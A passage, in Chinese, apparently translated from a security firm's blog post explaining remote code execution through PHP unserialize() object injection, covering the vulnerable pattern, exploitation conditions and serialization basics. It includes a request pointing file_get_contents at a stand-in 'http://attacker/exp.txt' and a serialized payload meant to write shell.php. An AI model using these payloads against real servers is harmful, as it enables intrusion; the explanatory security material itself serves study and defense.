在NotSoSecure,我们每日都会进行渗透测试或代码审查,不过最近我们遇到了一段有趣的PHP代码,它可能会导致远程代码执行(RCE)漏洞,但对它进行利用却有点棘手。

在经历了几个试图破解这段代码的不眠之夜后,我们确信利用这个漏洞可以同时进行应用级和系统级别的代码执行。这篇来自Rahul Sasi的博文将讲解关于该漏洞的一些信息,以及如何对其进行利用。

0×01 包含漏洞的代码

通过PHP反序列化进行远程代码执行

通过PHP反序列化进行远程代码执行

在上面的代码中,用户控制的值可能会被传递给PHP的反序列化函数。在用户提供的输入未进行适当处理就传递给函数unserialize()时,此时就有可能导致该漏洞的发生。由于PHP中允许对象序列化,所以攻击者可以通过将特殊的序列化字符串传递到一个脆弱的unserialization()调用中,以此导致一个任意的PHP对象注入到应用程序范围中。在我们的代码中,应用程序接收一个文件名,接着使用PHP中的file_get_contents函数读取内容。然后,将输出内容输入到PHP的反序列化模块。之前已经提到,上面的漏洞可以同时进行应用级和系统级别的代码执行,所以接下来我们将深入分析该漏洞。

通过PHP反序列化进行远程代码执行

通过PHP反序列化进行远程代码执行

 

为了成功地利用上述漏洞,必须满足三个条件:

1、应用程序中必须含有一个实现某个PHP魔幻方法(例如__wakeup或者__destruct)的类,可以用这个类进行恶意攻击,或者开始一个“POP链”。

2、当调用脆弱的unserialize()时,必须声明攻击期间所使用的所有类,否则必须为这些类支持对象自动加载。

3、传递给反序列化操作的数据必须来自于一个文件,所以服务器上必须包含有一个包含序列化数据的文件。

在上面的场景中,条件1和条件2是为了满足于漏洞利用。但是,因为反序列化操作的输入值来自于PHP中file_get_contents读取的一个文件,所以对该漏洞的利用有些棘手。

如果开启了allow_url_fopen(最新的PHP版本默认禁用),那么PHP函数file_get_contents可以接收远程URL作为其参数。在这种情况下,攻击者可以向该函数中输入一个包含一个恶意文件的URL,该文件中包含了序列化的植入于一个远程服务器上的恶意数据。

?session_filename=http://attacker/exp.txt

0×02 exp.txt内容

O:3:%22foo%22:2:{s:4:%22file%22;s:9:%22shell.php%22;s:4:%22data%22;s:5:%22aaaa%22;}

但不幸的是,我们测试的应用程序中并没有开启allow_url_fopen。注意:包含一个/proc/self/environ这样的文件或者任何类似的内容(例如访问日志)都不可能,因为序列化字符串不应该包含垃圾数据。所以,我们的文件应该只包含用于漏洞利用的序列化数据。

在讲解如何利用上面的代码之前,我们先解释一些有关PHP对象注入利用的知识,并分析上面的载荷(payload)到底做了什么。

0×03 PHP对象注入

基于PHP反序列化的安全问题首先在2009年由Stefan Esser记录。目前,基于JSON的应用序列化模块使用量明显增多,所以让我们深入了解一下序列化模块。

0×04 PHP序列化

为了在一个数组中保存内容,PHP中会调用一个函数serialize(),它接收一个给定的数组作为输入参数,并能够将数组的内容转换成正常的字符串,然后你就可以将字符串内容保存在一个文件中,也可以作为URL的一个输入值,等等。

通过PHP反序列化进行远程代码执行

通过PHP反序列化进行远程代码执行

接下来,下图中序列化一个包含3个字符的字符串数组。

通过PHP反序列化进行远程代码执行

通过PHP反序列化进行远程代码执行

理解序列化的字符串:

通过PHP反序列化进行远程代码执行

通过PHP反序列化进行远程代码执行

a:3{               Array of 3 values     i:0                Integer, value [ index-0]     S:5:”Lorem”      String, 5 chars long, string value “Lorem”     i:1                Integer, value [index-1]     S:5:”Ipsum”      String , 5 chars long, string value “Ipsum”     i:2                Integer, value [index-2]     S:5:”Dolor”      String , 5 chars long, string value “Dolor”

0×05 PHP反序列化

unserialization()是serialize()的相反操作函数。它需要一个序列化的字符串作为其输入,并将其转换回一个数组对象。另外,考虑到对象实例化和自动加载,反序列化可能会导致代码被加载并被执行。

例子:

value=‘a:1:{s:4:"Test";s:17:"Unserializationhere!";}’ unserialization($value);

0×06 PHP自动载入